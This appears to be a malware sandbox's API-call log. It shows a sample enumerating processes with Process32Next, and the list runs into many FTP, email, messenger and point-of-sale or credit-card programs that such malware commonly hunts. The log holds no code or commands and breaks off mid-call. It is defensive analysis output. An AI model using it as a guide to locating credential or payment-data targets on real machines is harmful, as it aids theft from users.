1 [0251.178] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.179] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.181] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.183] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.184] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.186] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.188] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.190] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.192] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.240] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.242] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.243] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.244] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.246] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.247] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.248] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.250] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0251.251] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0251.253] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.254] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.255] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0251.257] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0251.258] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0251.259] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.261] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0251.262] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0251.263] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.265] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0251.266] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0251.268] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0251.269] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0251.270] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0251.272] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0251.273] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0251.274] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0251.276] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0251.475] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0251.477] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0251.478] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0251.480] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0251.481] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0251.483] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0251.484] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0251.485] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0251.488] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0251.490] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0251.491] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0251.493] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0251.494] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0251.495] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0251.497] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0251.498] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0251.499] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0251.501] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0251.503] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0251.505] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0251.506] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0251.508] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0251.510] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0251.511] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0251.513] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0251.515] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0251.516] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0251.552] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0251.554] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0251.556] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0251.558] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0251.559] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0251.561] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0251.562] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0251.564] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0251.566] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0251.568] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0251.569] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0251.571] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0251.573] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0251.574] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0251.576] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0251.578] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0251.580] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0251.582] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0251.632] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0251.634] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0251.635] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) 